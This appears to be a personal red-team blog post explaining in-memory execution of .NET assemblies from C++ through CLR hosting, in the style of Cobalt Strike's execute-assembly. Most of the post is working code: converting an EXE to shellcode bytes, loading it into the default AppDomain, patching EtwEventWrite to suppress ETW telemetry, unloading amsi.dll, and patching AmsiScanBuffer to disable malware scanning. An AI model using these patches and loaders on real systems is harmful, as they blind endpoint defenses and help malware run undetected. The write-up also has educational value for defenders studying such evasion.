Home About

Common Language Runtime 2: In memory execution

Introduction

In my previous post I was re-familiaring myself with some basic Computer Science stuff from random university modules which I took a few years ago and revisted CLR. It had been a while so I was going for a recap on how it worked and in the process I wrote a fairly simple on-disk .NET runner. However, there is a glaring issue with the implementation - its on disk. So, I frantically googled for a few hours and came up with a solution for an in memory version. This post will detail and showcase that implementation, as well as dealing with ETW and AMSI.

On-disk Recap

I posted my on-disk implementation on a Gist, it was fairly small and I don't think it deserved an entire repo. It made use of several key functions, namely:

  1. CLRCreateInstance
  2. ICLRMetaHost::GetRuntime
  3. ICLRRuntimeInfo::GetInterface
  4. ICLRRuntimeHost::ExecuteInDefaultAppDomain

A TL;DR of the code is that an instance of the CLR is created with CLRCreateInstance(). This is then followed up by getting a runtime with the GetRuntime() which passed in v4.0.30319 to ensure that the runtime is .NET 4.0. After starting the CLR Runtime, the ExecuteInDefaultAppDomain() method is called. This wrapper handles the execution of managed code, as seen here:

if (CLRRuntimeHost->ExecuteInDefaultAppDomain(
        L"C:\\Users\\mez0\\Desktop\\ConsoleApp1\\ConsoleApp1\\bin\\Debug\\ConsoleApp1.exe", // Path to .NET Assembly
        L"ConsoleApp1.Program", // Namespace.(public)Class
        L"EntryPoint", // (public)Method
        L"Mez0 is in .NET!", // Arguments
        &pReturnValue) != S_OK) {
        printf("[!] ICLRRuntimeHost.ExecuteInDefaultAppDomain()\n");
    }

And the .NET Code ran by this was:

using System.Windows;

namespace ConsoleApp1
{
    public class Program
    {
        public static int EntryPoint(string arguments)
        {
            MessageBox.Show(arguments);
            return 0;
        }
        public static void Main()
        {

        }
    }
}

This simply passes args to a MessageBox.Show(). Thats all there is to this code, its quite simple.

In Memory Execution

To achieve in-memory execution, it requires several steps. But before that, the .NET to be executed. I will be using different code for the .NET (bit bored of the message boxes):

using Microsoft.Win32;
using System;

namespace ConsoleApp1
{
    public class Program
    {
        public static int EntryPoint(string arguments)
        {
            string[] version_names = null;
            RegistryKey installed_versions = null;

            try
            {
                // Get the key
                installed_versions = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\NET Framework Setup\NDP");
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
                Environment.Exit(1);
            }

            // Get all the subkeys
            version_names = installed_versions.GetSubKeyNames();

            if (version_names == null)
            {
                Console.WriteLine("No .NET Registry Keys found(?)");
                Environment.Exit(1);
            }
            else
            {
                version_names = installed_versions.GetSubKeyNames();
            }

            Console.WriteLine("[!]\tInstalled .NET Versions:");
            foreach (String version in version_names)
            {
                if (version.StartsWith("v"))
                {
                    Console.WriteLine(String.Format("[+]\t{0}", version));
                }
            }
            return 0;
        }
        public static void Main()
        {
        }
    }
}           

Its going to run thrugh the registry and grab the installed .NET versions. The next thing is to turn the EXE into shellcode. This is easily done with PowerShell:

$Bytes = Get-Content "C:\Users\mez0\Desktop\InMemoryNET\ConsoleApp1\ConsoleApp1\bin\Debug\ConsoleApp1.exe" -Encoding Byte
$Bytes.Length
$HexString = [System.Text.StringBuilder]::new($Bytes.Length * 4)
ForEach($byte in $Bytes) { $HexString.AppendFormat("\x{0:x2}", $byte) | Out-Null }
$HexString.ToString()

This is courtesy of Arno0x, whos work I referenced during this. The final thing needed before getting into the CPP is the namespace, class and function names. In this case, they are:

  1. Namespace: ConsoleApp1
  2. Class: Program
  3. Function: EntryPoint

So, lets run through the new .NET executor. The CLR Instance is still being created the same way, and a Runtime for .NET 4.0 is grabbed too:

if (CLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pCLRMetaHost)) != S_OK)
{
    printf("[!] CLRCreatenInstance()\n");
    return 2;
}

printf("[+] Created Instance!\n");\

if (pCLRMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&pCLRRuntimeInfo)) != S_OK)
{
    printf("[!] ICLRMetaHost.GetRuntime()\n");
    return 2;
}

Nothing new here. The thing I implemented next was ICLRRuntimeInfo::IsLoadable. This method checks whether the Runtime can be loaded into the current process by assessing any currently loaded Runtimes. After that, two functions from the previous implementation return:

if (pCLRRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_PPV_ARGS(&pCorRuntimeHost)) != S_OK)
{
    printf("[!] ICLRRuntimeInfo.GetInterface()\n");
    return 2;
}

if (pCorRuntimeHost->Start() != S_OK)
{
    printf("[!] ICorRuntimeHost.Start()\n");
    return 2;
}

ICLRRuntimeInfo::GetInterface loads the CLR into the process, and then the CLR is started.

Thats all stuff from the previous version and fairly straigh-forward. Everything from here is new territory. So, what happens next? Well, essentially what is going to happen is that the .NET Assembly is going to be written into the DefaultAppDomain which is a logical container for .NET Assembly. First things first, a pointer to AppDomain is grabbed:

_AppDomainPtr spDefaultAppDomain = NULL;
if (pCorRuntimeHost->GetDefaultDomain(&spAppDomainThunk) != S_OK)
{
    printf("[!] ICorRuntimeHost.GetDefaultDomain()\n");
    return 2;
}

The ICorRuntimeHost::GetDefaultDomain method is used to do this, it gets a pointer to the default domain of the current process so, shortly, we can write the .NET Assembly into it. Before writing into this domain, a SAFEARRAYBOUND is used to hold the .NET Assembly before writing it:

SAFEARRAYBOUND safeArrayBounds[1];
safeArrayBounds[0].cElements = shellcodeBytesLength;
safeArrayBounds[0].lLbound = 0;

SAFEARRAY* safeArray = SafeArrayCreate(VT_UI1, 1, safeArrayBounds);
SafeArrayLock(safeArray);
memcpy(safeArray->pvData, shellcodeBytes, shellcodeBytesLength);
SafeArrayUnlock(safeArray);

Using the docs, it was easy enough to sort out the array. This is where the magic happens, finally writing the .NET Assembly into the default domain:

_AssemblyPtr spAssembly = NULL;
if (spDefaultAppDomain->Load_3(safeArray, &spAssembly) != S_OK) {
    printf("[!] _AppDomainPtr->Load_3()\n");
    return 2;}

Using overload 3 from AppDomain.Load, the .NET can be loaded into the process. This can be seen in Process Hacker:

.NET Assembly written

Now to find a way to actually execute it. Doing so is a lot more complicated than I initially thought. But, luckily, people smarter than I have already solved this. First up, grabbing the type by passing in the Namespace.Class structure:

_TypePtr spType = NULL;
if (spAssembly->GetType_2(bstrNamespaceDotClass, &spType) != S_OK)
{
    printf("[!] _AssemblyPtr.GetType_2()\n");
    return 2;
}

One thing to note here is that the type is being passed in which is annoying, but lends itself to future projects, and is something Cobalt Strike has already solved. When running execute-assembly /root/File.exe, Cobalt Strike is smart enough to figure it out and run it. This implementation requires it to be set. Whatever. We now have a access to the namespace and class. admittedly, I borrowed this next bit from Arno0x:

SAFEARRAY* psaStaticMethodArgs = NULL;
variant_t vtStringArg(L"");
variant_t vtPSEntryPointReturnVal;
variant_t vtEmpty;

psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1);
LONG index = 0;

if (SafeArrayPutElement(psaStaticMethodArgs, &index, &vtStringArg) != S_OK){
    printf("[!] SafeArrayPutElement()\n");
    return 2;
}

The logic above is handling the arguments with safe arrays. I'm not dealing with arguments in this example, so I just emptied it out. Also, this is the second to last step, the next thing is actually executing it all. This is done by using overload 3 from Type.InvokeMember:

if (spType->InvokeMember_3(
    bstrFunctionName,
    static_cast<BindingFlags>(BindingFlags_InvokeMethod | BindingFlags_Static | BindingFlags_Public),
    NULL,
    vtEmpty,
    psaStaticMethodArgs,
    &vtPSEntryPointReturnVal) != S_OK)
{
    printf("[!] _TypePtr.InvokeMember_3()\n");
    return 2;
}

And it runs:

.NET in-memory execution

It has its flaws, but it does what I need it to do. With that done, the next thing to sort out is ETW and AMSI.

Event-Tracing for Windows

Adam Chester introduced a method for patching out ETW event writes in a blog post for MDSec. As I'm implementing a way to execute .NET, I figured this would be a good time to implement the patch and look at ETW.

Event-Tracing for Windows (ETW) is a logging facility for Windows Events which allows for the logs to be consumed in realtime. It was designed for debugging and performance monitoring, but it has since been adopted for monitoring actions on the host. ETW has three main components:

  1. Controllers: A Controller is an application which can control the log file, as well as starting and stopping the event tracing sessions. An example of a built-in consumer is the LOGMAN.EXE utility.
  2. Providers: Providers are application which actually contain the instrumentation for the event tracing. There are a bunch of providers and they can be seen here.
  3. Consumers: With the other two explained, a Consumer should make sense. It is an application that can select one or more sessions as a source of the events.

This blog from Palantir details the LOGMAN.EXE utility quite well, so I won't go into that here.

I do want to look at the providers associated with my code:

LOGMAN.EXE Providers forInMemoryNET.EXE

There are several that stick out:

.NET Common Language Runtime             {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}
Microsoft-Antimalware-Protection         {E4B70372-261F-4C54-8FA6-A5A7914D73DA}
Microsoft-Antimalware-Scan-Interface     {2A576B87-09A7-520E-C21A-4942F0271D67}

The CLR and AMSI are both providing events and this is where the ETW Hiding comes in. The aforementioned blog details how to hide .NET Assembly from ETW, and points out that if you set a breakpoint on ntdll!EtwEventWrite, the opcode ret 14h can be found, which matches up for me:

ntdll_EtwEventWrite

One thing to note is that this is for x86. However, the value is the same so this should still work. Wrapping the corresponding bytes up in CPP looks like this:

int PatchETW()
{
    printf("\n[*] Patching ETW...\n");
    DWORD oldProt, oldOldProt;

    // Get the EventWrite function
    void* eventWrite = GetProcAddress(LoadLibraryA("ntdll"), "EtwEventWrite");
    if (eventWrite != NULL) {
        printf("[+] EtwEventWrite Address: %p\n", (void*)eventWrite);
        // Allow writing to page
        VirtualProtect(eventWrite, 4, PAGE_EXECUTE_READWRITE, &oldProt);
        // Patch with "ret 14" on x86
        if (memcpy(eventWrite, "\xc2\x14\x00\x00", 4)) {
            printf("[+] EtwEventWrite patch copied!\n\n");
            // Return memory to original protection
            VirtualProtect(eventWrite, 4, oldProt, &oldOldProt);
            return 1;
        }
        else {
            printf("[!] Failed copying the patch to EtwEventWrite!\n");
            return 2;
        }
    }
    else {
        printf("[!] Failed to get address of EtwEventWrite");
        return 2;
    }
}

Pretty straightforward, set the permission to PAGE_EXECUTE_READWRITE so that the bytes can be written in, and then memcpy the bytes into the EtwEventWrite method.

Checking the .NET Assemblies within Process Hacker reveals that the ETW was indeed prevented:

No .NET Assemblies

The final thing I implemented was AMSI, lets move on.

AMSI

This is the last thing I implemented into this tool. I explored and implemented several methods for bypassing AMSI such as hooking from Tom Carver, patching AmsiScanBuffer from RastaMouse, and my personal favourite; just unloading AMSI.DLL. The latter is problematic as defensive tools looking for weird behaviour will immediately notice this and call it suspicious. But I find it amusing. It can be done like so:

if (GetModuleHandle(L"amsi.dll")) {
    printf("[+] AMSI.DLL is currently loaded...\n");
    if (FreeLibrary(GetModuleHandle(L"amsi.dll"))) {
        printf("[+] Successfully unloaded AMSI.DLL\n");
    }
    else {
        printf("[!] Failed to unload AMSI.DLL\n");
    }
}

The above works, and its just so simple and dumb. But in the end, I just went for patching AmsiScanBuffer with the following code:

int PatchAMSI(unsigned char Patch[])
{
    printf("\n");
    if (!GetModuleHandle(L"amsi.dll")) {
        if (LoadLibrary(L"amsi.dll")) {
            printf("[+] AMSI.DLL sucessfully loaded!\n");
        }
        else {
            printf("[!] Loading AMSI.DLL failed, skipping AMSI patch...\n");
            return 2;
        }
    }
    printf("[*] Patching AMSI...\n");
    void* AmsiScanBuffer = GetProcAddress(LoadLibrary(L"AMSI.DLL"), "AmsiScanBuffer");
    if (AmsiScanBuffer != NULL) {
        printf("[+] AmsiScanBuffer Address: %p\n", (void*)AmsiScanBuffer);
        DWORD oldProt, oldOldProt;
        VirtualProtect(AmsiScanBuffer, sizeof Patch, PAGE_EXECUTE_READWRITE, &oldProt);
        if (memcpy(AmsiScanBuffer, Patch, sizeof Patch)) {
            printf("[+] AmsiScanBuffer patch copied!\n\n");
            VirtualProtect(AmsiScanBuffer, 4, oldProt, &oldOldProt);
            return 1;
        }
        else {
            printf("[!] Failed copying the patch to AmsiScanBuffer!\n");
            return 2;
        }
    }
    else {
        return 2;
    }
}

The patch works exactly the same as the ETW one, only patching a different return with different bytes. Here is the full execution of InMemoryNET.EXE:

Full execution of InMemoryNET.EXE

Cool, it all works! During this process I did notice some interesting behaviour that I couldn't pinpoint in documentation but makes sense logically. This was the exact moment in which AMSI.DLL is loaded into the process. The following code is what I used to determine the exact function responsible for loading AMSI.DLL:

void CheckIfAmsiIsLoaded() {
    printf("\n");
    if (GetModuleHandle(L"amsi.dll")) {
        printf("[x] AMSI.DLL Found!\n");
    }
    else {
        printf("[x] AMSI.DLL not Found!\n");
    }
    printf("\n");
}

Simply check if the DLL is loaded or not. Thinking back to the _AppDomainPtr->Load_3() call, this is where the .NET Assembly is actually loaded into the default domain. So, lets call the AMSI.DLL check before and after.

Before:

AMSI.DLL NOT Loaded before Load_3()

The above shows that the DLL isn't present. So how about after?

After:

AMSI.DLL Loaded AFTER Load_3()

Now the DLL is loaded. So, its clearly being loaded when the .NET Assembly is being written into the default domain. However, trying to track this down to the specific action or reason as to why this happens was unsuccessful. My presumption is that when the .NET CLR recieves bytes, it immediatly loads and passed it through AMSI. So, the way I dealt with this was to patch AMSI afterwards. During my testing this worked and I couldnt get AMSI to block anything, but I am suspecting that at some point the bytes will be immediatly flagged. To combat this, I attempted to load AMSI.DLL in at the beginning of exection and patch it then, this threw me errors:

System.AccessViolationException after patching AmsiScanBuffer

I'm intending to do an blog post on how AMSI works and some bypasses for it, so I'm not too fussed about this particular issue right now, I just thought it was interesting. There could be some potential research into when the CLR loads the DLL, and prevent it there. But there are easier methods to handling AMSI.

Conclusion

Part 2 of my CLR exploration produced two methods of loading .NET with unmanaged code. Implementation 1 required the target .NET to be on disk with the unmanaged code, and implementation 2 can run the .NET from memory. However, this does have its drawbacks. The namespace, class and method need to be passed in because this implementation isn't smart enough to figure it out. So, with that in mind, it is not a direct replica of execute-assembly for several reasons, but the logic to determine the entry point being one of the most important. The potential solution is the get_EntryPoint() method, though.

Overall, this was pretty fun binge and I learnt a lot about how CLR works at a code level, which was my primary goal. This project is available on GitHub and some of its functionality may find its way into my Scx project. If anything I said in this post is wrong, please let me know!

References

  1. HostingCLR
  2. Tampering with Windows Event Tracing: Background, Offense, and Defense
  3. b4rtik/metasploit-execute-assembly